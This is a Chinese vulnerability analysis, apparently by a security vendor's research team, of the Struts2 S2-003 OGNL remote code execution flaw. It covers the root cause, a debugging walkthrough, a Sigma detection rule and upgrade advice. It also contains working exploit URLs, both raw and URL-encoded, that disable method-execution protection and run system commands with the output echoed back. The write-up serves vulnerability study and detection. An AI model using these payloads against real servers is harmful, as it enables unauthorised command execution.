STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
原理:
XWork ParametersInterceptor 拦截器中对参数解析过滤不严,导致可以通过 ognl 表达式操作值栈中 map/context 栈的对象来执行方法,进而导致命令执行。
漏洞影响范围:
Struts 2.0.0 - Struts 2.1.8.1
环境搭建
下载 st-003 的漏洞环境,idea打开运行即可。
payload如下:
## 系统命令执行
/HelloWorld.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\'calc\')')(bla)(bla)
## 回显
/HelloWorld.action?(a)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(b)(\u0023ret\[email protected]@getRuntime().exec('whoami'))&(c)(\u0023dis\u003dnew\u0020java.io.BufferedReader(new\u0020java.io.InputStreamReader(\u0023ret.getInputStream())))&(d)(\u0023res\u003dnew\u0020char[20000])&(e)(\u0023dis.read(\u0023res))&(f)(\u0023writer\u003d\u0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())&(g)(\u0023writer.println(new\u0020java.lang.String(\u0023res)))&(h)(\u0023writer.flush())&(i)(\u0023writer.close())
对于高版本tomcat需要进行url编码,如:\、/、[、]等字符接收到后会返回400状态码
## 系统命令执行
/HelloWorld.action?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%[email protected]@getRuntime%28%29.exec%28%5C%27calc%5C%27%29%27%29%28bla%29%28bla%29
## 回显
/HelloWorld.action?(a)(%5Cu0023context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%5Cu003dfalse)&(b)(%5Cu0023ret%5Cu003d%40java.lang.Runtime%40getRuntime().exec('whoami'))&(c)(%5Cu0023dis%5Cu003dnew%5Cu0020java.io.BufferedReader(new%5Cu0020java.io.InputStreamReader(%5Cu0023ret.getInputStream())))&(d)(%5Cu0023res%5Cu003dnew%5Cu0020char%5B20000%5D)&(e)(%5Cu0023dis.read(%5Cu0023res))&(f)(%5Cu0023writer%5Cu003d%5Cu0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())&(g)(%5Cu0023writer.println(new%5Cu0020java.lang.String(%5Cu0023res)))&(h)(%5Cu0023writer.flush())&(i)(%5Cu0023writer.close())
代码分析
第一步:final Map parameters = ac.getParameters() 获取Get请求的key和value时,如果参数包含# ,则会发生数据折断。
具体如下:
请求地址:
/HelloWorld.action?('# context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('# myret\[email protected]@getRuntime().exec(\'calc\')')(bla)(bla),发生截断后只保留(' 。
请求地址:
/HelloWorld.action?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29=123456789&%28%27%5Cu0023myret%[email protected]@getRuntime%28%29.exec%28%5C%27calc%5C%27%29%27%29%28bla%29%28bla%29=123456
('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)
第二步:发现acceptableName方法其实是对key进行过滤,这里通过简单的正则表达式[\p{Graph}&&[^,# :=]]*来检测,如果包含^,=、,、# 、:等非法字符,则会返回false。
这里payload通过unicode编码后可以进行绕过,往下走则将参数写入进OgnlValueStack中,跟进的话可以看到是调用Ognl.setValue方法,其中compile方法会对参数编码的内容转换为ascii码,但unicode编码具体位置转化还需要对compile方法继续深入跟踪。
这里始终无法找到unicode解码的,因为setValue方法tree参数是对象,在执行setValue方法时,tree对象已经执行啦。
对compile方法进行断点调试。
第三步:在拦截器方法中,先进行初始化,包括设置DenyMethodExecution为true设置为不允许方法执行,此时没有办法执行恶意代码,只有将其设置为false才可进行后续利用 。
其中,OgnlUtil.setValue方法,context参数,实现 DenyMethodExecution执行参数的修改。
第四步:
OgnlUtil.setValue方法修改完DenyMethodExecution值为 false 后,恶意代码就可以利用成功啦。
测试用例
使用工具:Struts2漏洞检查工具2019版 V2.3.exe进行漏洞验证,具体如图:
检测规则
Sigma检测规则如下:
title: st-003远程代码执行漏洞
description: 检测st-003远程代码执行漏洞
status: test
date: 2022/04/02
author: bigsea
logsource:
category: webserver
detection:
selection:
c-uri|contains:
- 'xwork.MethodAccessor.denyMethodExecution'
- '\u0023context'
- 'java.lang.Runtime'
- 'java.lang.ProcessBuilder'
condition: selection
fields:
- c-ip
- c-dns
tags:
- attack.t1190
- attack.initial_access
- cve.2008.6504
level: Critical
缓解措施
官方建议Struts升级至 2.2.1版本,或更高版本。
参考链接
https://xz.aliyun.com/t/2323
https://cwiki.apache.org/confluence/display/WW/S2-003
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们